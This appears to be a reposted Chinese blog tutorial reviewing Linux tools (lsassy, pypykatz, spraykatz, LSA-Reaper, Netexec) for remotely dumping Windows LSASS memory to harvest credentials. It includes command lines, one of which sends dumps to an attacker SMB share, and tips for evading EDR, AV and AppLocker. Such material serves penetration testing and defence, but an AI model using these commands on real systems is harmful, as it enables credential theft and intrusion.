有很多方法可以创建 lsass.exe 转储来收集凭据,但如果我们想在 Linux 机器上舒适地执行此操作,该怎么办?以下是一些工具,可以让我们做到这一点。
LSASS
到目前为止,更好、最完整的远程 LSASS 转储工具:Hackndo 的 lsassy 支持许多不同的执行和转储方法。默认情况下,comsvcs.dll 方法用于创建转储,而无需上传任何外部工具,这是通过 WMI 代码执行完成的,impacket 的 wmiexec 使用该方法。
但是,如果我们愿意,可以指示 Lsassy 使用不同的 LSASS 转储技术,这些技术由选项指定。以下是其中的几个:-m
-
上传并执行 Sysinternals procdump.exe
-
上传并执行 dumpert.exe 以使用 syscalls
-
上传并执行 PPLDump 以绕过 RunAsPPL (LSA 保护)
-
上传并执行 MirrorDump 以从自定义 SSP 中提取 LSASS
-
上传并执行 EDRSandBlast 以绕过 EDR、RunAsPPL 和 CredentialGuard
许多替代转储方法涉及在主机上上传和执行另一个二进制文件,如 nanodump.exe、mirrordump.exe、dumpert.exe 等。如果我们想使用其中之一,我们可以在模块选项中使用-O
一些模块,如 procdump、nanodump 和 mirrordump 有嵌入式版本和普通版本,嵌入式模块在模块源代码中包含 base64 编码的二进制文件版本:
您可能希望指定本地二进制文件的情况是需要运行更旧版本的程序的较旧计算机,例如 Windows XP 无法运行嵌入在模块中的 procdump 二进制文件,因此您可以查找并使用较旧的兼容版本。
Lsassy 的一个有趣功能是能够决定采用哪种执行方法,默认情况下使用 WMI,但我们也可以在计划任务、MMC DCOM、SMB 和“隐蔽”SMB 之间进行选择。SMB 基本上是 psexec 使用的方法,它使用 RPC 创建并启动指向我们希望运行的可执行文件的服务,这意味着默认情况下程序作为 SYSTEM 运行。
更隐蔽的 SMB 方法的工作方式相同,但它不是注册新服务,而是更改预先存在的服务的 binPath,这样就可以规避安全解决方案对可疑服务创建的监控。服务的原始路径稍后将恢复。
最后,Lsassy 也可以通过 ntlmrelayx 的 SOCKS 隧道工作,只需确保指定与 ntlmrelayx 显示的域名完全相同,否则它不会与连接正确匹配:
Pypykatz
Pypykatz 是一些 Mimikatz 功能的 Python 实现。虽然它能够从本地主机的实时内存中提取凭据,但它也是此处列出的几乎所有程序用来解析和输出收集的凭据的工具:因此,如果您已经通过离地生活进行了转储,并且想从自己的 Linux 机器中对其进行分析,那么它可能是一个完美的选择。在这种情况下,我们将使用:
pypykatz lsa minidump <file.dmp>
然后,Pypykatz 将继续列出按用户会话划分的转储文件中存储的每个密钥:
不过,这会产生一个很长且难以阅读的输出,因此我更喜欢添加以产生易于“greppable”的输出,甚至可能只显示我感兴趣的身份验证包,例如用于 NT 哈希的 MSV 或用于明文密码的 WDigest:-g
-p
所有支持的值为:all(默认)、msv、wdigest、tspkg、ssp、livessp、dpapi、cloudap、kerberos。-p
另外,如果我们想从 Windows 远程转储 LSASS,Pypykatz 可以通过 SMB 来实现:
pypykatz live smb lsassdump <host>
不过,实时命令仅适用于 Windows,这篇文章是关于 Linux 工具的,所以我将继续。
Spraykatz
Spraykatz 旨在同时对一系列目标执行远程 LSASS 转储:它通过 WMI 上传和执行procdump.exe,然后远程解析转储,以便文件本身不会同时通过网络读取和传输。相反,它会以块的形式读取它以尝试避免被发现:
像往常一样,Pypykatz 用于解析转储并向我们显示凭据。在具有本地凭证的计算机上启动它,如下所示:
python3 spraykatz.py -u administrator -p 'MegaPassword!1' -t 192.168.0.144 -d .
如果我们有兴趣针对多个主机启动它,我们可以将目标指定为文件的名称,每行包含一个目标,或者将一系列主机用逗号分隔,以及命令行中 CIDR 表示法的 IP 范围。
Spraykatz 会自动尝试删除 procdump 和任何转储文件,但随后启动它可以确保我们不会留下任何东西。-r
LSA-Reaper
LSA-Reaper 是一个有趣的工具,它的方法与其他工具略有不同,专注于使用 Dbghelp.dll 中的功能,提供了多种不同的使用方式。MiniDumpWriteDump
有效负载本质上只是对主机磁盘的调用,但它不是将转储写入主机的磁盘,而是首先挂载一个链接到攻击者计算机的网络驱动器,然后将其用作该函数的目标文件夹。这应该有助于绕过一些监控磁盘写入操作的 AV。MiniDumpWriteDump
最基本的用法是目标、其凭证和本地 IP 地址来启动 SMB 服务器:
sudo python3 lsa-reaper.py -ip 192.168.0.207 administrator:'MegaPassword!1'@192.168.0.105
在几秒钟内,LSA-Reaper 将挂载网络驱动器,在主机上复制并执行有效负载,然后卸载驱动器:
如果执行成功,我们应该有一个包含转储的文件夹等待我们,我们可以用 Pypykatz 读取它:loot
LSA-Reaper 有很多有用的选项,首先我们可以告诉它自动进行转储解析,这将创建三个文本文件,其中包含找到的凭据,一个包含所有凭据,另一个具有 greppable 格式的完整输出,第三个具有 NT 哈希:-ap
LSA-Reaper 的另一个有趣之处在于它支持相当多不同的有效负载,我们可以简单地删除自定义.exe或让应用程序使用 DLL 旁加载以 DLL 形式调用我们的有效负载,例如通过在 WindowsCodecs.dll 中重命名有效负载并在同一个文件夹中拥有 calc.exe 的副本:
同一负载可以有两个版本:mdwd () 和 mdwdpss ( + ),因此,例如,如果我们想使用 regsvr32 运行 DLL 负载,则两个可用的负载是 和 。MiniDumpWriteDump
MiniDumpWriteDump
PssCaptureSnapshot
regsvr32-mdwd
regsvr32-mdwdpss
PssCaptureSnapshot 是用于拍摄进程快照的 Windows API 函数。这很有用的原因是,通过创建 lsass.exe 的快照,我们可以获得一个句柄,该句柄可以提供给 MiniDumpWriteDump,而无需将其指向实际lsass.exe,这将是一个主要的危险信号。
另一个有用的有效负载是 Windows 附带的 Microsoft 签名的 .NET 二进制文件,可用于从 XML 文件编译和执行 .NET 代码:这是绕过 AppLocker 的应用程序白名单的好方法msbuild
LSA-Reaper 可以选择自动利用由 ntlmrelayx 建立的现有 socks 隧道,但我无法让它工作,当使用它时,Reaper 不再将目标识别为参数。不过,我们仍然可以使用它从中继转储 LSASS,我们只需要通过从 shell 执行有效负载来手动执行此操作。首先启动 ntlmrelayx 并确保您有一个管理员会话:-relayx
-socks
然后启动 Reaper,并可选择在执行有效负载之前暂停,甚至不要指定目标:-oe
接下来使用中继通过 smbexec 等工具连接到目标,并开始一次运行一个由 Reaper 打印的命令,一次运行整行将终止连接,当使用 smbexec 时(smbexec-modified.py 在 LSA-Reaper 存储库中,它应该在中继上工作得更好,并修复 Windows Server 2019 的这个问题, 如果针对此特定操作系统,请使用该选项):
卸载网络驱动器后,在 Reaper 上按 Enter,解析将开始,完成后,您将像往常一样在 loot 文件夹中找到输出:
Netexec / Crackmapexec
Netexec 是旧 CME 的新版本,现在不再受支持。Netexec 带有许多可以执行其他程序的模块,包括 LSASS 转储实用程序。虽然能够从不需要单独安装每个程序的单个应用程序调用所有这些程序很有用,但正如我们将看到的那样,有几个原因可以解释为什么您可能宁愿使用原始的独立程序。
拉斯西
如果由于某种原因我们不想或无法安装独立的 lsassy,我们仍然可以使用它的 Netexec 模块。主要区别在于该模块没有实现 Lsassy 的大多数选项。如果我们将参数传递给模块,我们仍然可以选择使用哪种 dumping 方法,但这就是我们获得的全部控制权:METHOD
如果我们不指定使用的方法comsvcs.dll就像大多数 Netexec 模块一样,这个模块不需要除了凭据之外的其他信息即可工作:
基本上,它只是 Lsassy 的精简版。我也无法让它通过中继工作,我会说使用实际的程序。
纳米转储
Nanodump 是一个程序,它支持多种不同的方法来创建 LSASS 进程的转储,这样它就可以绕过一些安全解决方案,这些解决方案可能仅查找与 LSASS 转储尝试相关的最常见函数调用。GitHub 页面列出了所有支持的方法,值得一看,看看有多少种可能性,不同的方法甚至可以与 Nanodump 结合使用。
这个模块所做的就是在系统上使用 SMB 上传二进制文件的副本,找到 lsass.exe PID,然后使用默认设置启动 Nanodump:
唯一可用的设置用于使用其他 nano.exe 副本或更改将在目标上创建程序和转储文件的位置,我们无法指定首选技术:
如果我们真的坚持要使用 Netexec 的 Nanodump,但又想使用特定的方法,我们仍然可以修改模块源码,我只需运行以下命令即可找到:locate nanodump
Procdump
顾名思义,此模块的工作方式与 Spraykatz 相同:它在主机上上传并执行 Sysinternals procdump 的副本,以使用受信任且已签名的可执行文件创建转储。不幸的是,这个模块似乎不是开箱即用的,至少在我的环境中不是这样:
二进制文件已下载到计算机上,但手动运行它会显示程序在尝试执行转储时崩溃:
另一方面,从 Microsoft 网站新下载的 procdump64 副本可以正常工作:
所以问题源于模块中嵌入的可执行文件,我在三个不同 Windows 版本的不同 VM 上尝试了它,它在一个 VM 上都不起作用。为了解决这个问题,我们可以告诉模块使用 and 参数加载不同的 procdump 副本:PROCDUMP_PATH
PROCDUMP_EXE_NAME
这样,命令就会变成:
netexec smb 192.168.0.100 -u administrator -p 'MegaPassword!1' -M procdump -o PROCDUMP_PATH=~/tools/
但这仍然不够,因为我收到了另一个错误,这次来自 Pypykatz:
好消息是 procdump 运行良好,netexec 将转储复制到 /tmp 中,名称为 ,然后手动将其提供给 Pypykayz:<HOST>-AMD64-<DOMAIN>.dmp
故事的寓意:不要使用此模块。
Handlekatz (汉德卡茨)
这是另一个至少对我来说从来没有开箱即用的模块:
Handlekatz 应该通过重复的进程句柄创建 LSASS 转储,但与 procdump 方法不同的是,我无法通过替换可执行文件来使该模块工作。所以,要知道这是存在的,但如果你对 Handlekatz 的实验感兴趣,请不要依赖 netexec 模块。
这些是 Netexec 当前附带的支持转储 LSASS 的所有模块。使用其中任何一个时,请记住原始 Windows 二进制文件、它们的 stdout 和它们生成的转储都存储在其中,不会自动删除,因此请务必自行清理。C:WindowsTemp
归根结底,我更喜欢使用 Lasssy,其他程序可能对特定场景有用,但提供的功能较少。
引用
-
https://en.hackndo.com/remote-lsass-dump-passwords/
-
https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/
-
https://abrictosecurity.com/extract-dump-lsass-remotely/
-
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
其它课程
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):从 Linux 远程转储 LSASS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论